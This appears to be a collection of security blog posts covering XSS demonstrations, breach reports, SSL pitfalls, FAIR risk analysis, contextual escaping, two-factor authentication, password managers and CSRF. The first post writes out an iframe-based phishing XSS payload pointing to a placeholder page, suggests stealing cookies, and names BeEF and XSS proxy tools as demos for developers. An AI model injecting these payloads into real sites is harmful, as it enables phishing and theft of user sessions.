Cross-site scripting (XSS) vulnerabilities allow an attacker to inject content in an otherwise trusted web page. XSS attacks in the wild typically try to execute JavaScript, and consequently XSS issues are typically demonstrated with a script function that’s short, simple, and visual: the alert box. Many XSS examples use alert(1) or alert(‘XSS’) as a payload.

As others have noted, though, this fails to show the power of XSS, and may lead to a “so what?” reaction from developers not familiar with such a vulnerability. I like to compare alert(1) to showing that the safety of a gun is off. If someone has never handled or heard of a gun before, a small switch out of place won’t mean much. But when they see the gun fire and witness the damage a bullet can cause, the significance of that safety becomes apparent.

While I’m hardly the first to compile a list of example payloads that go beyond simple alert boxes (see also XSS – Exploitation beyond alert(‘xss’) and alert(‘xss’) – The slow death of XSS), I think it bears repeating that security professionals should be prepared to demonstrate the real dangers of XSS. Here are a few ideas to keep in your toolbox:

1. Expose cookies. My personal preference for a simple alert box when checking XSS is alert(document.cookie). Even if a developer is not familiar with XSS, most will likely recognize that access to the session data stored in a user’s cookie presents a problem. And note that if the injected script can alert those values, it can also send them to an external server, allowing an attacker to take control of the victim’s account
2. Gather real-world examples. While you’d certainly never want to just load a live payload on a vulnerable app, actual attacks against other sites are good testimonials for thinking about XSS. A few to get your file started:
   • Malware delivery on celebrity MySpace pages: Alicia Keys and other stars fell victim to an attack that didn’t even require JavaScript. An invisible <a> element covered the entire page, making any click send the user to a malicious site.
   • The Samy worm on MySpace: One of the fastest-spreading viruses used XSS. The Samy worm automatically friended other MySpace users and modified the profiles of victims. Its rapid spread caused MySpace to shut down temporarily.
   • Remote code execution on phones via the Android Market: A vulnerability in Google’s online store for Android apps could be used to send an install command when accessed from an Android phone. Once installed, the malicious app could then also be automatically launched.
   • Facebook bully video XSS payload: A recent attack exploiting a loophole in Facebook apps used event invites, chat messages, and Facebook pages to spread malicious links. The payload also included code for phishing account credentials.
3. Phishing demo. Create a page that mimics your app’s login form but submits to a different location, and save it somewhere safe but accessible. Add this bit of code to quickly replace a vulnerable page with your phishing page:
   

   x=document.createElement('iframe'),x.src='http://yourphishingpage/', x.height='100%',x.width='100%',x.frameBorder='0',document.body=x

4. Create a custom payload. Remember, once a script can be injected in a page, it basically has the same amount of access as any other script in the page. If you’re already familiar with code used by a vulnerable app, you can simply load a few of them with the XSS payload. With many sites using a range of client-side features, a few function calls can do quite a bit.
5. Set up a BeEF demo. The Browser Exploitation Framework, or BeEF for short, is a tool that essentially lets you create a small botnet. BeEF can be used to log keystrokes, detect features or history, and even launch Metasploit to load more sophisticated attacks.
6. Set up an XSS-based proxy. Tools such as Shell of the Future let you make requests for other sites from a victim’s browser and have the responses forwarded to your machine. This lets you tunnel traffic through other machines simply by exploiting XSS.

It’s data breach report day today. Or, so it seems. My brain just ‘sploded on overload from all the fresh tasty stats received. There’s not enough time today to go through everything with a fine-toothed comb. Suffice to say:

• Data breaches are continuing to happen in growing numbers.
• Basic security practices still aren’t happening.
• As painful as it is to admit, it appears that regulations like PCI DSS are having a positive impact.
• Our codebase still leaves much to be desired, though there is reason to be a bit optimistic.

That said, here’s the goods:

1. Verizon Business 2011 Data Breach Investigation Report
2. Veracode 2011 “State of Software Security” Report
3. Ponemon 2011 PCI DSS Compliance Trends Study

Incidentally, if you take the combined results of these studies, one of the key takeaways ties in very nicely with this quote from the current Cloud Security Alliance (CSA) v2.1 Security Guidance: “A portion of the cost savings obtained by Cloud Computing services must be invested into increased scrutiny of the security capabilities of the provider, application of security controls, and ongoing detailed assessments and audits, to ensure requirements are continuously met.” (h/t Gunnar Peterson)

A few years ago, I wrote a post about “the power of s” explaining how important it is to use https instead of http, and how that made things more secure. Strictly speaking, what I wrote then was true. It’s very important to implement SSL, and SSL can indeed make communications secure. But it’s more complicated than that. SSL is an excellent tool which allows secure communication if it is implemented correctly. A bad implementation, however, is no more secure than sending data via clear text. And it’s awfully easy to have a bad implementation.

Ciphers are a good place to start. A cipher is the method used to encrypt a message. It’s the basis for most of what we tend to think of as security. But not all ciphers are created equal. Some are simply not secure. DES, for example, while having no particular vulnerabilities, does not allow a long enough key to be secure with modern computing. Not coincidentally, this problem with DES demonstrates that even a secure cipher like AES can be rendered ineffective if an inadequate key length is chosen. Figuring out what key length – and comparing key lengths – takes in-depth understanding of the cipher in question: 3DES with a 128-bit key is comparable (though not equal) to RSA with a 2048-bit key!

After ciphers, there are hashes, message digests, and signatures. These authenticate a message and assure that, encrypted or not, a message came from the source which it claims to have come from and that the message was not altered in transit. These are all crucial for preventing “man in the middle” attacks by which a third party can take over communication. As with the ciphers themselves, the algorithms used here are very important, and many have been proven to be insecure.

On top of that, there is the matter of certificates. Certificates play an important role in proving the identity of each end of the communication, and determining who to trust. However, recent events have proven that the certificates themselves can be insecure, either due to poor design or compromise of the certificate authority.

These are the basic concerns entailed in implementing SSL. Would that it were really so simple. Unfortunately, the real world throws in greater complications. The truth is that implementing SSL properly relies on the options made available by the hardware and software vendors. They may not have implemented every possible cipher; it may not be possible to load custom certificates. The certificates in use may not be able to negotiate shared keys… the list goes on. And that assumes using something like a unified solution. Inevitably, almost any IT environment becomes a heterogeneous environment. There is always a particular piece of the puzzle – firewall, a management tool, a server – that simply must be from some other vendor. And these parts don’t always work well together; often the only option by which products from two different vendors can communicate at all turns out to be decidedly less than secure. On top of that, even if secure options are available, and all the various parts can use the same ciphers and other components, there’s the administrative overhead: sure, it’s possible for each SAN switch to have a certificate, but do you have the resources to administer certificates on more than 500 of them?

The more I’ve learned about SSL, the more I realize how difficult it is to truly engineer a secure solution. Doing so can require fundamental and sweeping changes to an IT infrastructure and may take months or more to enact. Of course, anyone who cares about security should implement some form of security – but it’s important to remember that not only is it not as simple as changing an option in a control panel, it’s often as difficult as engineering the infrastructure in the first place.

In light of the recent Epsilon data breach, it seems appropriate to chat briefly about the realities of balancing information risk. First and foremost, we need to make sure that we understand this thing called “risk.” In our context, risk is defined as “the probable frequency and probable magnitude of future loss” (based on Jack Jones’ FAIR definition). Put into practical terms, risk is the likelihood that we’ll experience a negative event. We then balance that out against the cost of defending against various scenarios (i.e., trying to reduce or transfer that risk), with the goal being to optimize cost vs. benefit. Let’s look at a couple practical examples.

(more…)

One of the primary weapons in a developer’s arsenal for stopping cross-site scripting (XSS) is output escaping. If an attacker can insert special characters into a page (such as < and >), they can potentially add new HTML or JavaScript and wreak havoc. By escaping data rendered by a page, you can change < to &lt; – the latter still gets rendered by the browser as < without creating a new HTML element.

However, it’s important to understand that this defensive strategy must include the concept of contextual escaping. That is, what characters you escape and how you handle them depends on the context of the output.

For instance, simply escaping or filtering every < and > is generally not enough to protect a web application. I’ve seen mainstream sites that escaped these characters, but then left quotation marks unchanged. When a parameter is rendered as HTML, " or ' may seem rather harmless. But consider this bit of code:

<script>var x = "parameter value";</script>

If the parameter value rendered here included a quotation mark, it would complete the variable definition and the rest of the parameter could be executed as JavaScript. I was reminded of contextual escaping’s importance just this week when I read this example of an XSS vulnerability in the password manager LastPass. In this case, the application properly escaped quotation marks in a script context, but still allowed characters that could close the script element and add a new one.

The OWASP XSS Prevention Cheat Sheet includes more details on characters to watch for in several common web app contexts. And remember that XSS in a JSON interface or iframe widget can be just as dangerous as obvious XSS in a search results page. Take note of where your application outputs data and make sure your XSS defenses match each context.

A couple of weeks ago, we brought to your attention the newly released two-factor authentication that Google rolled out for all of its web-based products (Gmail, Google Docs, Google Calendar, etc.). So now that it’s been out for a few weeks, and it’s finally had a chance to make its rounds to everyone’s accounts, let’s take a step back and see how it actually works.

We’ve talked about the importance of two-factor authentication in the past, and even a few other areas where it’s implemented.

Google did an excellent job at throwing together some tutorials on how to set-up everything and ensure your experience is pleasant. I would go into a detailed tutorial on all of this myself, but really I doubt I could do a better job than they did. But for those who just wanted a quick refresher, here goes. You can also read a fairly straight-forward take on everything directly from Google themselves and learn how it works.

1. Setup
2. Signing in with verification codes
3. Signing in using application-specific passwords

(more…)

News flash: Those so-called “risk” labels/ratings included in pentest and vuln scan reports are NOT actually “risk” representations.

I was in attendance at the OWASP Summit 2011 a couple weeks back, and the topic of “risk metrics” and labels came up during one session. As a result, I led a break-out session on what risk really looks like in the macro sense, in accordance with formal methods, and where these various scan/test results really fit in. The session had great conversation and highlighted for me a need to expand risk analysis training to a broader audience.

Below is a picture of the taxonomy of factors that make up a FAIR (Factor Analysis of Information Risk) risk analysis. Putting aside the discussion of how one generates the value ranges that go into each factor, let’s look at where pentest/scan results fall. Looking at the taxonomy below, note that there are two key halves: Loss Frequency and Loss Magnitude. As you peruse the factors that roll up to those halves, think about where your pentest/scan results might fit.

In order to properly estimate “risk” based on the results of a pentest or vuln scan, you need to understand the business impact in a number of structured scenarios. Simply understanding the Loss Frequency is not sufficient to estimate risk. However, that said, there is certainly valuable IF you process those findings accordingly. The main factor reflected by these test results will be “Resistance Strength,” which is to say that you will now have a better understanding of how much effort would be required to compromise your organization (given: compromise given enough time and resources is inevitable).

The next time you get a report from a vendor that talks about “risk,” please challenge their assertion. Ask them to explain how they estimated the financial impact of various weaknesses on your organization. Unless they interviewed your business management team to understand how a weakness could impact the business if exploited, then I submit that they’re not providing you with an actual risk rate. Instead, what you’re getting a snapshot reading of your Resistance Strength in a given context, as well as receiving some hints on what opposing Threat Capability might be. You’re still left needing to estimate the other factors under Loss Frequency, and you almost certainly need to fill in the blanks under Loss Magnitude (something that can be accomplished independently by developing loss tables for key systems, and then either providing those to 3rd parties performing the assessments, or combining them with the results on your own).

As an aside it’s worth noting that some 2nd generation “GRC” platforms are starting to integrate risk analysis capabilities like FAIR that can be leveraged to merge in scan/pentest results and to generate a reasonable risk analysis.

How do you use a different strong password on every site without writing all of those passwords down or going mad – a password manager with randomly generated passwords.

I have several machines I use on a very regular basis – both for work and personal use: at least one desktop and one laptop in each case, and then occasional use on my iPhone. So any password manager for me would have to work among all of these machines. In my case, they’re all OS X, but these tools work on Windows as well if you’re stuck using it

I use 1Password syncing with Dropbox. Dropbox synchronizes files between computer systems – Windows and OS X, and even iPhone, Android and Blackberry. 1Password only works on Windows, OS X, iPhone, and Android so if you’re a Blackberry user, you’re out of luck at the moment. Dropbox runs “in the background” so things always appear to be in sync among your machines. Dropbox also claims that they encrypt your data with your login (AES256), but you’re trusting Amazon Web Services to keep that data secure otherwise.

1Password is a great all-in-one “secure storage” tool. It not only stores passwords, but you can also store passport information, credit card information, and secure notes. Everything is stored in an AES128 encrypted file with the master password as the key. It also provides secure password generation, and plug-ins for the major browsers to autofill information for you.

1Password supports Dropbox syncing, so all you have to do is tell it that your data file is in your dropbox folder, and it’s all set up for you.

At this point in time, I know my master password off the top of my head, but not too many more of my passwords. This is both convenient and frustrating. I know I’ve got strong passwords, but I have no clue what most of them are without one of my computers or my iPhone. Depending on your needs, this could be really annoying (like say logging into Netflix at a friend’s house), or you can just wear your tin foil hat proudly.

I’ve also had problems with the Firefox plugin and sites that require Windows basic authentication – it’ll prompt you for the login/password multiple times and never actually let you connect to the site. No clue what’s going on there, I just switch over to Safari when that happens (but if you know of a solution – I’m interested!).

I have not played with the 1PasswordAnywhere tool yet, but it looks good as an option to DropBox syncing if you’d rather not trust your file in the “cloud”.

DropBox offers free accounts, but 1Password will set you back a bit. I have a “family” license mostly to myself (my husband has the last license out of 5) that set us back $70.

There are other password managers out there, like KeePass and LastPass.  What do you use and why?

One of the most common vulnerabilities in web applications is known as HTML injection or cross-site scripting, and one of the simplest ways of showing such a problem exists involves loading a JavaScript alert dialog. Those who understand the ramifications of such an issue know that it creates the potential for far more malicious activity, but the alert box is an easy demonstration that the application can be automatically manipulated.

Other vulnerability, though, may be more subtle and not as readily visualized. Take cross-site request forgery, for example. It’s easy to understand that there’s a problem when an application lets you manipulate the data of other users – the site should validate the account making requests before executing them. What may not be so obvious is that problems can still arise even when the application checks the account first. If no system exists for verifying that the account owner actually intended to perform a given action, it may be possible to hijack that user’s session and make requests without them knowing. The technical term for this behavior is cross-site request forgery.

(more…)

Here at Security Musings, we occasionally discuss some fairly technical topics. Like most speciallized subjects, there is a plethora of disorganized information, and occasional spatterings of highly organized resources on the Internet that help widen one’s knowledge and expertise in any given area.

One such spattering I recently came across is the online version of the Handbook of Applied Cryptography (not to be confused with the other book of similar appellation that is more-frequently used in college classes around the country).

Although it can get pretty nitty gritty at times with regard to the math and science involved in cryptography, sometimes that is exactly what you need to get the full picture and/or fill in the blanks that other resources gloss over in the interest of comprehensibility.

And best of all, the publishing company has released the chapters for free electronic distribution: http://www.cacr.math.uwaterloo.ca/hac/

Keep in mind, the last printing was in 2001, so some of the information may be a little aged. But if you’ve ever read any of our posts regarding public key encryption (Ch. 8, pdf), hash functions (Ch. 9, pdf), or digital signatures (Ch. 11, pdf), and wish we went a little further with the technical details, this just might satiate your thirst for knowledge.